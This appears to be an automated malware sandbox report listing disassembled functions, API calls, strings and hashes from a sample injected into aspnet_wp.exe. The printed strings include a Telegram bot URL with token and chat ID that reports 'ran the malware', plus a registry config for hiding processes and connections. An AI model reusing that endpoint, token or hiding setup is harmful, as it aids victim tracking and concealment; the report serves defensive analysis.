Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23adb3d936c6c34801c65f4f67eb181918ac7766a8ba6f476e6182a55f36ec36
Instruction ID: 941ce469fbed5fe9bc1f071c89965f7092662cba3c57435a06fc977cb4007a6d
Opcode Fuzzy Hash: 23adb3d936c6c34801c65f4f67eb181918ac7766a8ba6f476e6182a55f36ec36
Instruction Fuzzy Hash: D1E0D85291EA948FE2B9A31C45761A47EA0EB16100B0540EBC04DCB1D6E5449C4C43C2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC242AC2 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c17953070ca7b776b1f56231e8be4d708f897b6e5703caa2f5fbeb92f94e74a
Instruction ID: ff5eda04c39f62bdb43ee39c6cf060b4259b7551b7034ac1ce70687ce7383e2d
Opcode Fuzzy Hash: 9c17953070ca7b776b1f56231e8be4d708f897b6e5703caa2f5fbeb92f94e74a
Instruction Fuzzy Hash: 7FE0EC32A1981DCFEB45EB89D4466FCB7B1FB89221F504072D50EE3285C928A4598791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC241298 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6e0f6d7ecc7bf12c405c8435225d29585aad94baae02a266677eccfaed06aae
Instruction ID: b36c19c06e4e8a562fe901460a207b2552c36deb208a7d8aacee8f878682ad52
Opcode Fuzzy Hash: f6e0f6d7ecc7bf12c405c8435225d29585aad94baae02a266677eccfaed06aae
Instruction Fuzzy Hash: 7FD05B70928B0443A7086F3C4C0A039B7D1F794506F94963FA84961760DE6AA4445183

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24B168 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 386be1f4482e5da3a204495a9cb8b2edef977aa89a49d0d8de442fcee2f5196d
Instruction ID: 539e4d33a5dceca2e8a10e56bfa12820a95bc5e8923d23d6cd4114dc0cdef7be
Opcode Fuzzy Hash: 386be1f4482e5da3a204495a9cb8b2edef977aa89a49d0d8de442fcee2f5196d
Instruction Fuzzy Hash: 84D0973044B645CFE71ABF3080550973BE0AF0B220BC848FDD8488E356C1BE948E9342

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC2408B1 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b21205613f52d831b86b31445755603086703cd00d0a1b5db955606535b8ff
Instruction ID: 2a3f55d7815772e27a122ad8afea9b02ac7c72cc3392cad2dbad14205e3ae804
Opcode Fuzzy Hash: 68b21205613f52d831b86b31445755603086703cd00d0a1b5db955606535b8ff
Instruction Fuzzy Hash: D3B012901472455FC342FD7004210153DD05F4F020342049D4041DB660C0884C0B4311

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: aspnet_wp.exePID: 1340, Parent PID: 2908COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	98%
Signature Coverage:	24%
Total number of Nodes:	204
Total number of Limit Nodes:	19

Executed Functions

Function 00401980 Relevance: 33.8, APIs: 9, Strings: 10, Instructions: 538
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 004019A8
GetVolumeInformationA.KERNELBASE ref: 00401B22
InternetOpenA.WININET ref: 00401B94

Strings

%ld, xrefs: 00401A59, 00401EBE
C:\, xrefs: 00401B09, 00401F2B
https://api.telegram.org, xrefs: 00401E0A
MyApp, xrefs: 00401B85, 00401FBF
%s\Microsoft\Windows\Start Menu\tc.txt, xrefs: 00401A13
https://api.telegram.org/bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0iSrrh-e2fE/sendMessage?chat_id=6585536474&text=User %llu ran the malware, xrefs: 00401F9E
APPDATA, xrefs: 004019FB
bc1, xrefs: 00401C73, 00401DC4, 00402097
%s&text=User %.10s ran the malware, xrefs: 00401B66
%llu, xrefs: 00401B3D

Memory Dump Source

Source File: 0000000C.00000002.3891911934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_aspnet_wp.jbxd

Similarity

API ID: ConsoleInformationInternetOpenVolumeWindow
String ID: %ld$%llu$%s&text=User %.10s ran the malware$%s\Microsoft\Windows\Start Menu\tc.txt$APPDATA$C:\$MyApp$bc1$https://api.telegram.org$https://api.telegram.org/bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0iSrrh-e2fE/sendMessage?chat_id=6585536474&text=User %llu ran the malware
API String ID: 2178934817-2152422893
Opcode ID: 98f2fb83b7ef7a145ec376ce7f06ffd3d585f49990aee3f22b93aed1cf4ff8b6
Instruction ID: b1bf8352c78a68e0c0e4b7c04ffcf9fd93a921bd85e2ea35f57682150d57c7cb
Opcode Fuzzy Hash: 98f2fb83b7ef7a145ec376ce7f06ffd3d585f49990aee3f22b93aed1cf4ff8b6
Instruction Fuzzy Hash: 6E2280A1300B5095EB109F62E8553AE2765F749BC8F44513AEF4E67BA4EF3CC646C388

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002109C3C2BD0
lstrlenW.KERNEL32 ref: 000002109C3C2E0A

Part of subcall function 000002109C3C199C: OpenProcess.KERNEL32 ref: 000002109C3C19C2
Part of subcall function 000002109C3C199C: K32GetModuleFileNameExW.KERNEL32 ref: 000002109C3C19E0
Part of subcall function 000002109C3C199C: PathFindFileNameW.SHLWAPI ref: 000002109C3C19EF
Part of subcall function 000002109C3C199C: lstrlenW.KERNEL32 ref: 000002109C3C19FB
Part of subcall function 000002109C3C199C: StrCpyW.SHLWAPI ref: 000002109C3C1A0E
Part of subcall function 000002109C3C199C: CloseHandle.KERNEL32 ref: 000002109C3C1A1C

GetProcAddress.KERNEL32 ref: 000002109C3C2BE5

Part of subcall function 000002109C3C152C: StrCmpIW.SHLWAPI ref: 000002109C3C155D

Part of subcall function 000002109C3C3844: StrCmpNIW.SHLWAPI ref: 000002109C3C385C

StrCmpNIW.SHLWAPI ref: 000002109C3C2C28
lstrlenW.KERNEL32 ref: 000002109C3C2D50

Strings

ntdll.dll, xrefs: 000002109C3C2BC9
NtQueryObject, xrefs: 000002109C3C2BDB
\Device\Nsi, xrefs: 000002109C3C2C1B

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 332373d6f5914f3162948b0acee34d8cf8b96568aa2a432e5bd5263797161c4a
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 33B18072A50A58C2EB549F26C6A87ED63A4F764F84F04D016DE8963797DFB6CAC0C340

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000002109C3C20C6

Part of subcall function 000002109C3C2F04: GetProcessHeap.KERNEL32 ref: 000002109C3C2F27
Part of subcall function 000002109C3C2F04: HeapAlloc.KERNEL32 ref: 000002109C3C2F3A
Part of subcall function 000002109C3C2F04: StrCmpNIW.SHLWAPI ref: 000002109C3C2FAF
Part of subcall function 000002109C3C2F04: GetProcessHeap.KERNEL32 ref: 000002109C3C3015
Part of subcall function 000002109C3C2F04: HeapFree.KERNEL32 ref: 000002109C3C3023

Strings

dialer, xrefs: 000002109C3C20BF
S, xrefs: 000002109C3C21E7

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: 3ff51dba6e75028e489bb55dd093e52d12fdf48b34cfc28511b75bcc2db958d7
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: D151BF32F5062CC6E765CB26AA986ED63A5F724B94F04C011DF8522B87DBB6DAC1C340

Uniqueness

Uniqueness Score: -1.00%

Function 00401180 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00401253

Strings

pC, xrefs: 0040122C

Memory Dump Source

Source File: 0000000C.00000002.3891911934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_aspnet_wp.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID: pC
API String ID: 3192549508-618396992
Opcode ID: 58c16fb2d74b332cbb1ae3d73c7031563b2405748ab3bfa02381105ec46107aa
Instruction ID: b3ced316d18715a27402a46344e87645ea85c1e443f96a312bc4d33b04486989
Opcode Fuzzy Hash: 58c16fb2d74b332cbb1ae3d73c7031563b2405748ab3bfa02381105ec46107aa
Instruction Fuzzy Hash: B681BDB560074485EB24AF56E88076A37A1F745B88F84903BEF89A73B1DF3DDA44C709

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C27FC Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0185a08247f70f65e171097ef193af1ec7c797a8df345bba98632a27a4a0fbef
Instruction ID: eea2192cb6394354ae0fb5d464cb523aab02e7df2f2365cebdbd54561224d7e4
Opcode Fuzzy Hash: 0185a08247f70f65e171097ef193af1ec7c797a8df345bba98632a27a4a0fbef
Instruction Fuzzy Hash: D221FD32A10749C6E324DF17A9E46AEB7A4F3A4F80F94C029DE9563752DF75CA828700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C28C8 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35d1efe4857f8844a1db8c4c8ed7dc734db620b0767d36ab5b03d26aefcb1554
Instruction ID: 7c84cd3fbc0ec65b4e6cc0acfc8c585f4e4cf35b6f31705d6648ffc13905f418
Opcode Fuzzy Hash: 35d1efe4857f8844a1db8c4c8ed7dc734db620b0767d36ab5b03d26aefcb1554
Instruction Fuzzy Hash: D321F032B00745C6E3609F07A9A46AEB7A4F3A4F80F54C129DEC56371ADF75CA918B00

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002109C3C1633
HeapAlloc.KERNEL32 ref: 000002109C3C1642

Part of subcall function 000002109C3C1268: GetProcessHeap.KERNEL32 ref: 000002109C3C126E
Part of subcall function 000002109C3C1268: HeapAlloc.KERNEL32 ref: 000002109C3C127D
Part of subcall function 000002109C3C1268: GetProcessHeap.KERNEL32 ref: 000002109C3C1297
Part of subcall function 000002109C3C1268: HeapAlloc.KERNEL32 ref: 000002109C3C12A8

Part of subcall function 000002109C3C1000: GetProcessHeap.KERNEL32 ref: 000002109C3C1006
Part of subcall function 000002109C3C1000: HeapAlloc.KERNEL32 ref: 000002109C3C1015
Part of subcall function 000002109C3C1000: GetProcessHeap.KERNEL32 ref: 000002109C3C1028
Part of subcall function 000002109C3C1000: HeapAlloc.KERNEL32 ref: 000002109C3C1037

RegOpenKeyExW.ADVAPI32 ref: 000002109C3C16B2
RegOpenKeyExW.ADVAPI32 ref: 000002109C3C16DF
RegCloseKey.ADVAPI32 ref: 000002109C3C16F9
RegOpenKeyExW.ADVAPI32 ref: 000002109C3C1719
RegCloseKey.ADVAPI32 ref: 000002109C3C1734
RegOpenKeyExW.ADVAPI32 ref: 000002109C3C1754
RegCloseKey.ADVAPI32 ref: 000002109C3C176F
RegOpenKeyExW.ADVAPI32 ref: 000002109C3C178F
RegCloseKey.ADVAPI32 ref: 000002109C3C17AA
RegOpenKeyExW.ADVAPI32 ref: 000002109C3C17CA
RegCloseKey.ADVAPI32 ref: 000002109C3C17E5
RegOpenKeyExW.ADVAPI32 ref: 000002109C3C1805
RegCloseKey.ADVAPI32 ref: 000002109C3C1820
RegOpenKeyExW.ADVAPI32 ref: 000002109C3C1840
RegCloseKey.ADVAPI32 ref: 000002109C3C185B
RegOpenKeyExW.ADVAPI32 ref: 000002109C3C187B
RegCloseKey.ADVAPI32 ref: 000002109C3C1896
RegCloseKey.ADVAPI32 ref: 000002109C3C18A0

Part of subcall function 000002109C3C12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002109C3C1319
Part of subcall function 000002109C3C12BC: GetProcessHeap.KERNEL32 ref: 000002109C3C1327
Part of subcall function 000002109C3C12BC: HeapAlloc.KERNEL32 ref: 000002109C3C1338
Part of subcall function 000002109C3C12BC: RegEnumValueW.ADVAPI32 ref: 000002109C3C1397
Part of subcall function 000002109C3C12BC: GetProcessHeap.KERNEL32 ref: 000002109C3C13DF
Part of subcall function 000002109C3C12BC: HeapAlloc.KERNEL32 ref: 000002109C3C13ED
Part of subcall function 000002109C3C12BC: GetProcessHeap.KERNEL32 ref: 000002109C3C140A
Part of subcall function 000002109C3C12BC: HeapFree.KERNEL32 ref: 000002109C3C1418
Part of subcall function 000002109C3C12BC: lstrlenW.KERNEL32 ref: 000002109C3C1421
Part of subcall function 000002109C3C12BC: GetProcessHeap.KERNEL32 ref: 000002109C3C142F
Part of subcall function 000002109C3C12BC: HeapAlloc.KERNEL32 ref: 000002109C3C143D

Strings

pid, xrefs: 000002109C3C1712
paths, xrefs: 000002109C3C1788
tcp_remote, xrefs: 000002109C3C1839
startup, xrefs: 000002109C3C16D5
service_names, xrefs: 000002109C3C17C3
process_names, xrefs: 000002109C3C174D
udp, xrefs: 000002109C3C1874
SOFTWARE\dialerconfig, xrefs: 000002109C3C1692
tcp_local, xrefs: 000002109C3C17FE

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 395c8c1472821f5bdb6892cfa38c494b88b3c60b2acfbd424fb60711aa35d443
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 24711876A10E18C6EB109F25E9A86DD33B4FBA4F88F00D111DE4E57B6ADE74C694D340

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000002109C3C379E
GetCurrentProcess.KERNEL32 ref: 000002109C3C37CC
VirtualProtectEx.KERNEL32 ref: 000002109C3C37EE
GetCurrentProcess.KERNEL32 ref: 000002109C3C3809
VirtualProtectEx.KERNEL32 ref: 000002109C3C382A

Strings

wr, xrefs: 000002109C3C37FF

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 4097d261a449ac3451a326376ca48a181b32c70eb99744c097cb7e8f6a5b2df6
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 15117C36B04B45C2EF949B11E5A82E962B0F798F84F04C428DE9A03796EF7DC685C704

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C5B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002109C3C5B6B
GetThreadContext.KERNEL32 ref: 000002109C3C5CD5

Part of subcall function 000002109C3C5960: GetCurrentThreadId.KERNEL32 ref: 000002109C3C5964

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction ID: 77bc16e8ce1ed2baf963936c5dd70134fe3e2e9b086318dc7030bf0ce2e0ebe8
Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction Fuzzy Hash: 58D17976648B48C2DA709B16E5A839E77A0F398F84F108116EECD57B66DF7CC681DB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C50D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002109C3C5156

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction ID: 24840e69cd93c011ce3e72b707be1eabc0946bd58d86859d3288f3e2201345f5
Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction Fuzzy Hash: CF02EB32659B88C6D760CB55E5A439EB7A0F3D4B84F108015EACE97B6ADFBCC584DB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C1268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002109C3C126E
HeapAlloc.KERNEL32 ref: 000002109C3C127D
GetProcessHeap.KERNEL32 ref: 000002109C3C1297
HeapAlloc.KERNEL32 ref: 000002109C3C12A8

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 6b103352dd55cb133f9c3f2a96f31855e3c0d2f1cc38eb6e586a7410d9fea862
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: C4E09235A01A08C6EB048FA2D96C38A36F1FB9DF06F04C424C91A07392DFBD85D9C790

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C1000 Relevance: 5.0, APIs: 4, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002109C3C1006
HeapAlloc.KERNEL32 ref: 000002109C3C1015
GetProcessHeap.KERNEL32 ref: 000002109C3C1028
HeapAlloc.KERNEL32 ref: 000002109C3C1037

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5b325dc3880ca3c93f8f4c7f4460fba72f6c1ea06a067b14687c409243df247f
Instruction ID: 5636117db3786a5ad76de4ba2fc3cc9a821f70c97e864d3b14f7c4560fa6c458
Opcode Fuzzy Hash: 5b325dc3880ca3c93f8f4c7f4460fba72f6c1ea06a067b14687c409243df247f
Instruction Fuzzy Hash: E4E09275A11A08C3EB088FA2D95838A32F1FB9DF02F44C420C91A07352DE7C85D4C750

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C39E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000002109C3C3A66
VirtualAlloc.KERNEL32 ref: 000002109C3C3AA0

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: b8408d63b71b1d372afc6063578280dccac620429a7acbcd838f522fc56a4c48
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 60317535A59A88C1EBB0DA15E1E93DE6690F39CB84F10C515E9CD1679ADFBCC3D08B00

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002109C3C32AE
PathFindFileNameW.SHLWAPI ref: 000002109C3C32BD

Part of subcall function 000002109C3C3844: StrCmpNIW.SHLWAPI ref: 000002109C3C385C

Part of subcall function 000002109C3C3790: GetModuleHandleW.KERNEL32 ref: 000002109C3C379E
Part of subcall function 000002109C3C3790: GetCurrentProcess.KERNEL32 ref: 000002109C3C37CC
Part of subcall function 000002109C3C3790: VirtualProtectEx.KERNEL32 ref: 000002109C3C37EE
Part of subcall function 000002109C3C3790: GetCurrentProcess.KERNEL32 ref: 000002109C3C3809
Part of subcall function 000002109C3C3790: VirtualProtectEx.KERNEL32 ref: 000002109C3C382A

CreateThread.KERNEL32 ref: 000002109C3C330B

Part of subcall function 000002109C3C1D14: GetCurrentThread.KERNEL32 ref: 000002109C3C1D1F

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 4162c76380d16316a4cefda63d937e39a7db4410b84b0c06e1e53d5441365e1d
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: A1112E71E54648C2F7A0A721EAEE3DD2294A778B45F50C1249DA692593EFFAC2D48600

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C4DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000002109C3C4DF4
VirtualProtect.KERNEL32 ref: 000002109C3C4E37
FlushInstructionCache.KERNEL32 ref: 000002109C3C4E4C

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction ID: 8049537c87372a4b2a9fd7dfb1c4c2afcd47dd3afa06d12a744154827f3898af
Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction Fuzzy Hash: F1F01D36658E08C0D630DB15E5A839EABA0E398BD4F14C111FECD03B6ACE7CC6C08B10

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3CF948 Relevance: 3.1, APIs: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 000002109C3CF9C1
GetFileType.KERNEL32 ref: 000002109C3CF9D7

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: a07d0c2e6d1ea39fb6922406f7202b79799826504b1902530f517849248bbcbd
Instruction ID: 7ca2daa701dfb1424692fc8bffa9c8f55f18279e0d0d6e733a385130b861c268
Opcode Fuzzy Hash: a07d0c2e6d1ea39fb6922406f7202b79799826504b1902530f517849248bbcbd
Instruction Fuzzy Hash: EB31C932A50B48D1DB608B1996E42AC6660F359FB0F64D309DFAA173E2CB74D6E1C700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002109C3C1628: GetProcessHeap.KERNEL32 ref: 000002109C3C1633
Part of subcall function 000002109C3C1628: HeapAlloc.KERNEL32 ref: 000002109C3C1642
Part of subcall function 000002109C3C1628: RegOpenKeyExW.ADVAPI32 ref: 000002109C3C16B2
Part of subcall function 000002109C3C1628: RegOpenKeyExW.ADVAPI32 ref: 000002109C3C16DF
Part of subcall function 000002109C3C1628: RegCloseKey.ADVAPI32 ref: 000002109C3C16F9
Part of subcall function 000002109C3C1628: RegOpenKeyExW.ADVAPI32 ref: 000002109C3C1719
Part of subcall function 000002109C3C1628: RegCloseKey.ADVAPI32 ref: 000002109C3C1734
Part of subcall function 000002109C3C1628: RegOpenKeyExW.ADVAPI32 ref: 000002109C3C1754
